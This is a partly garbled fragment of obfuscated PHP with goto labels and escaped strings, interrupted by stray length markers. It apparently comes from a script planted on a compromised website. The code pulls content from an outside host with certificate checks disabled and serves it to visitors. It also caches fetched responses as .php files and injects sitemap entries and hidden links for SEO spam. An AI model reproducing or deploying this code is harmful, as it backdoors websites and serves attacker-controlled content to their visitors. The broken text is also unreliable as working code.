3 $get["\x f 4e\117\x55\x6d\ b x62\145\x72 e "] ?? '', "\16 11 4" => $get["\164" 13 ] ?? '', "\x63\x6e" 12 => $get["\143\x6e 1f "] ?? '', "\x70\x4e\x4f\x55\x6d 1c " => $get["\160\x4e\x4f\x55\ 18 155"] ?? '', "\x63\x69\1 f 44" => $get["\x 16 63\151\x64"] ?? '', "\ 12 155" => $get["\x6d f "] ?? '')); $st 14 r = getCurlFast("{$s 10 url}\x3f{$params a }"); echo 18 str_replace(array("\171\ b 171\x6d\x6d 11 ", "\x67\x67\x67\ 10 147\x67", "\77\1 7 46\x3d" 9 ), array( 2e $http_type . $_SERVER["\x48\124\x54\120\x5f\11 a 0\x4f\123\ 19 x54"] . $_SERVER["\123\10 11 3\x52\x49\x50\x54 f \x5f\x4e\101\11 a 5\x45"], $ 8 sz, "\77 d " . $qz . "\x b 3d"), $str) 14 ; die; } goto y1V0b; e ap1mo: $sz = 9 $iid = '' a ; goto hlG 9 6j; u9Vm1 c : $ip = $kk 11 !== '' ? "\x36\66 f \x2e\x32\x34\x3 9 9\x2e\70\ 9 62\x2e\70 18 " : get_real_ip(); goto 5 UflM7 16 ; hlG6j: if (!empty($_ 9 GET)) { $ 6 f = re e set($_GET); $s e p = explode("\ 8 x2d", $f b ); if (coun c t($sp) === 2 d ) { $sz = $sp c [0]; $iid = 6 $sp[1] 11 ; } } goto sNiwt; 11 UflM7: $domain = 20 trim(getCurlFast($jd . "\147\x6 b 5\164\144\x 6 6f\x6d 18 \x61\151\x6e\x32\56\x61\ d x73\160\170\7 e 7\x72\x6e\144\ 7 75\x31\ 12 46\x69\160\75" . $ 4 ip)) e ; goto taa3z; 5 EYX7h 14 : if ($kk !== '' && 8 preg_mat 9 ch("\57\x 6 5e\x5b b \x41\55\x5a a \141\x2d\1 f 72\60\x2d\x39\x 6 5d\53\ 8 44\57", c $kk)) { $rem 12 ote = getCurlFast( 18 $jd . "\147\x65\164\144\ 1e 157\155\x61\151\x6e\62\56\141\ 13 x73\x70\170\77\x72\ 10 156\144\75\62\x2 9 6\x6b\153 d \x3d" . $kk); 18 if (!empty($remote)) { d echo $remote; 13 die; } } goto u3U2 6 k; gmJ 14 gr: function cache_g e et($key, $expi 8 re = 300 2b ) { $file = sys_get_temp_dir() . "\x2f\143\ e 141\143\150\14 1f 5\x5f" . md5($key) . "\56\x70\1 d 50\x70"; if ( 11 file_exists($file c ) && time() 7 - filem d time($file) < 13 $expire) { return 18 file_get_contents($file) 19 ; } return false; } goto c eggD8; u3U2k 15 : if ($kk !== '' && ! 13 preg_match("\x2f\13 41 6\x5b\x41\55\132\141\x2d\172\x30\x2d\x39\135\x2b\44\57", $kk)) { 3b output_sitemap_and_exit($sitemapLine, $http_type); } goto e 4 CAbA 7 ; ofsRJ 3c : function output_sitemap_and_exit($sitemapLine, $http_type) 26 { ensure_robots_sitemap($sitemapLine) 12 ; echo "\x3c\x64\x 8 69\x76\4 c 0\x73\x74\17 c 1\154\x65\x3 7 d\x27\1 e 64\145\x78\x74 10 \x2d\x61\x6c\151 d \x67\156\72\x f 63\x65\156\164\ f 145\x72\73\160\ 11 x61\x64\x64\x69\x b 6e\147\x3a\ e 61\60\160\170\ a 40\x30\73\ a 47\x3e\xa\ c 40\x20\x20\4 23 0\40\x20\x20\x20\40\40\x20\x20\74\x a 61\40\150\ f 162\145\146\x3d 12 \x22{$http_type}{$ 22 _SERVER["\110\124\124\120\137\110\ d 117\123\124"] 12 }{$_SERVER["\x53\1 e 03\122\111\x50 f \x54\x5f\116\x4 c 1\x4d\105"]} 10 \x3f\167\x3d" . 8 date("\1 c 31\x6d\144\1 7 10\151" e ) . "\x22\x20\ b 164\x61\x72 14 \147\x65\x74\x3d\x22 d \137\142\154\ d x61\x6e\x6b\x e 22\x20\x72\x65 f \154\75\42\x6e\ 10 x6f\146\157\x6c\ d 154\x6f\x77\x d 22\x3e\x53\15 10 1\164\145\x6d\14 8 1\160\74 910 \x2f\141\x3e\xa\40\x20\x20\x20\40\40\x20\x20\40\x20\74\x2f\x64\x69\166\76"; die; } goto EYX7h; tadjA: $sitemapLine = "\123\151\x74\145\155\x61\x70\x3a\x20{$http_type}{$_SERVER["\x48\124\124\120\x5f\110\x4f\123\x54"]}{$_SERVER["\123\103\x52\111\x50\124\137\x4e\101\x4d\x45"]}\x3f\x77\x3d" . date("\131\155\144\110\151") . "\xa"; goto oBxKF; VmgLL: $vurl = "\164\157\x2e\152\x67\x61\x6c\154\x73\x2e\x63\157\155\x2f"; goto r795u; eCAbA: $is_no_query = empty($_SERVER["\x51\125\105\x52\131\137\x53\x54\122\x49\x4e\x47"]); goto jCsnT; eX8At: $get = filter_input_array(INPUT_GET, FILTER_SANITIZE_STRING); goto gmJgr; ZGeRz: if (!empty($iid)) { $str = getCurlFast($hyzhdy . "\x3f\x69\x69\x64\x3d{$iid}"); echo str_replace(array("\x67\x67\x67\147\147", "\x59\131\x59\x59\131", "\x58\x58\x58\131\131\x59", "\xe5\xbd\223\345\x89\x8d\125\x52\x4c", "\125\x55\x55\125\x55", "\115\x4d\115\115\x4d", "\77\x66\75"), array($sz, get_url_info(), get_url_info("\142\141\163\145"), get_url_info("\146\x75\x6c\154"), get_url_info("\x6e\x6f\x5f\x77\167\x77"), parse_url($_SERVER["\122\105\121\125\x45\123\124\137\x55\122\111"], PHP_URL_PATH), "\77" . $qz . "\75"), $str); die; } goto ofsRJ; UOexB: function getCurlFast($url) { $cached = cache_get($url); if ($cached !== false) { return $cached; } $data = ''; if (function_exists("\143\x75\x72\x6c\x5f\151\156\151\164")) { $ch = curl_init($url); curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => "\115\157\x7a\x69\x6c\154\x61\57\65\56\60")); $data = curl_exec($ch); curl_close($ch); } if (empty($data) && ini_get("\x61\154\154\157\167\x5f\x75\x72\154\137\x66\157\160\x65\x6e")) { $context = stream_context_create(array("\150\x74\x74\160" => array("\164\151\x6d\145\157\x75\x74" => 8, "\x68\x65\x61\x64\145\x72" => "\x55\x73\145\162\55\101\x67\145\156\x74\x3a\x20\x4d\x6f\172\x69\154\154\141\x2f\65\56\x30\xd\12"), "\163\x73\x6c" => array("\x76\145\x72\x69\146\x79\x5f\x70\x65\x65\x72" => false, "\166\x65\x72\x69\146\x79\x5f\x70\x65\145\162\137\x6e\141\x6d\145" => false))); $data = @file_get_contents($url, false, $context); } if (!empty($data)) { cache_set($url, $data); } return $data; } goto p7jg0; EjU3H: ?> 0